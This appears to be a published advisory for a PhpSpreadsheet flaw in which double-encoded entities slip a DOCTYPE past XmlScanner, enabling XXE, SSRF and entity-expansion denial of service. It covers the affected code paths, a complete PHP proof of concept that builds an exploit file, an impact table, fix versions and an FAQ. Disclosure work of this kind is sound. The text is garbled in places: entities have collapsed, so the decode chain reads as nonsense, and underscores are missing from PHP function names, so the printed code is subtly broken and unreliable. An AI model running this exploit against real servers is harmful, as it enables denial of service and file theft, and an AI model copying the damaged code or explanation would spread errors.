CVE-2026-108357: PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service
Summary The SpreadsheetML XML reader (Reader\Xml) scans file content twice through XmlScanner::scan(), and each scan runs an unentity() callback that calls htmlentitydecode() after the pattern check. By double-encoding the < character as &#60;, the first scan decodes & to & (forming <), and the second scan decodes < to < (forming <!DOCTYPE). Neither scan's pattern check detects the <!DOCTYPE string because the callback runs after each check. This enables Denial of Service via entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXMLNOENT is used.
Details
The vulnerability involves an interaction between three code locations:
1. XmlScanner::scan() (XmlScanner.php, lines 87–108) — checks the pattern before the callback:
php public function scan($xml): string { $pattern = '/\0<\0!\0D\0O\0...\0/';
if (pregmatch($pattern, $xml)) { // CHECK 1 (raw) throw new Exception('Detected use of ENTITY...'); } $xml = $this->toUtf8($xml); if (pregmatch($pattern, $xml)) { // CHECK 2 (UTF-8) throw new Exception('Detected use of ENTITY...'); } if ($this->callback !== null) { $xml = calluserfunc($this->callback, $xml); // DECODE (after checks!) } return $xml; // <!DOCTYPE now present, never checked }
2. Xml::canRead() (Xml.php, lines 79–117) — scans and stores the result:
php $data = filegetcontents($filename); $data = $this->getSecurityScannerOrThrow()->scan($data); // 1st scan // ... $this->fileContents = $data; // stores partially-decoded content
3. Xml::trySimpleXMLLoadStringPrivate() (Xml.php, lines 120–150) — re-scans the stored content:
php $data = $this->fileContents; // already partially decoded $xml = simplexmlloadstring( $this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding );
The double-scan decode chain:
Raw file: &#60;!DOCTYPE | 1st scan(): pattern check → no match (no "<" character) callback → htmlentitydecode(&) = & | Stored: <!DOCTYPE | 2nd scan(): pattern check → no match (no "<" character) callback → htmlentitydecode(<) = < | Parser sees: <!DOCTYPE ← never detected by either scan
The unentity() callback (Xml.php, lines 54–61) protects five named entities (& < > " ') via Unicode placeholders, but numeric entities (& < & <) are not protected and are decoded by htmlentitydecode().
PoC
Save the following as poctoctou.php in a directory with PhpSpreadsheet installed via Composer:
php <?php require 'vendor/autoload.php';
// Double-encoded: &#60; survives two scan() passes // 1st scan callback: & → & (forms <) // 2nd scan callback: < → < (forms <!DOCTYPE) $entityvalue = strrepeat('A', 100000); $refs = strrepeat('&big;', 200);
$xml = '<?xml version="1.0"?>' . "\n" . '<?mso-application progid="Excel.Sheet"?>' . "\n" . '&#60;!DOCTYPE Workbook [' . "\n" . ' &#60;!ENTITY big "' . $entityvalue . '">' . "\n" . ']>' . "\n" . '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n" . ' xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">' . "\n" . ' <Worksheet ss:Name="Sheet1">' . "\n" . ' <Table><Row><Cell><Data ss:Type="String">' . $refs . '</Data></Cell></Row></Table>' . "\n" . ' </Worksheet>' . "\n" . '</Workbook>';
fileputcontents('poc.xml', $xml); echo "File size: " . filesize('poc.xml') . " bytes\n";
$membefore = memorygetusage(true); $reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml(); echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n"; $spreadsheet = $reader->load('poc.xml'); $peak = memorygetpeakusage(true);
echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";
$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue(); echo "Cell A1 length: " . strlen($val) . " bytes\n"; echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";
Run: php -d memorylimit=512M poctoctou.php
Expected result: The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion).
Hex variant: Replace &#60; with &#x3C; — both are decoded by htmlentitydecode().
Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.
Impact
| Attack | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ | |--------|---------------------------|------------------------| | Denial of Service (quadratic blowup) | Exploitable | Exploitable | | Local file read via SYSTEM entity | Exploitable | Blocked by default | | SSRF via SYSTEM entity | Exploitable | Blocked by default | | File read when LIBXMLNOENT is used | Exploitable | Exploitable |
Any application that accepts user-uploaded SpreadsheetML XML files (recognized by the <?mso-application progid="Excel.Sheet"?> processing instruction) and processes them with PhpSpreadsheet's Xml reader is vulnerable.
Other sources
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. From 3.3.0 until 3.10.8 and 5.10.0, Reader\Xml passes stored SpreadsheetML XML through XmlScanner::scan in Xml::canRead and Xml::trySimpleXMLLoadStringPrivate, while Xml::unentity decodes numeric entities only after each DOCTYPE pattern check. A double-encoded less-than character is reduced by the first callback to another encoded character and by the second callback to a literal less-than sign, so SimpleXML receives an unchecked DOCTYPE and entity declaration. Processing attacker-controlled SpreadsheetML XML can cause entity-expansion denial of service and can permit local file access or SSRF on PHP before 8.0 or when LIBXMLNOENT is enabled. This issue is fixed in versions 3.10.8 and 5.10.0.
— MITRE
PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service
— Packagist
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/phpoffice/phpspreadsheetto a version that resolves this vulnerability.Fixed in 3.10.8 - Upgrade
Upgrade
composer/phpoffice/phpspreadsheetto a version that resolves this vulnerability.Fixed in 5.10.0 - Upgrade
Upgrade
PhpSpreadsheetto a version that resolves this vulnerability.Fixed in 3.10.8 - Upgrade
Upgrade
PhpSpreadsheetto a version that resolves this vulnerability.Fixed in 5.10.0
Event History
Frequently Asked Questions
Which deployments are exposed to file disclosure or SSRF rather than only denial of service?
Local file access or SSRF is possible on PHP versions before 8.0, or in environments where LIBXML_NOENT is enabled. Entity-expansion denial of service can result when attacker-controlled SpreadsheetML XML is processed.
What input must an attacker control to exploit this issue?
The attacker needs to supply SpreadsheetML XML that the application processes through PhpSpreadsheet's XML reader. The bypass uses a double-encoded less-than character so a DOCTYPE and entity declaration reach SimpleXML after the scanner's checks.
Which versions should be remediated?
Upgrade to PhpSpreadsheet 3.10.8 or 5.10.0. The affected ranges are from 3.3.0 through 3.10.8 and version 5.10.0 as stated in the advisory data.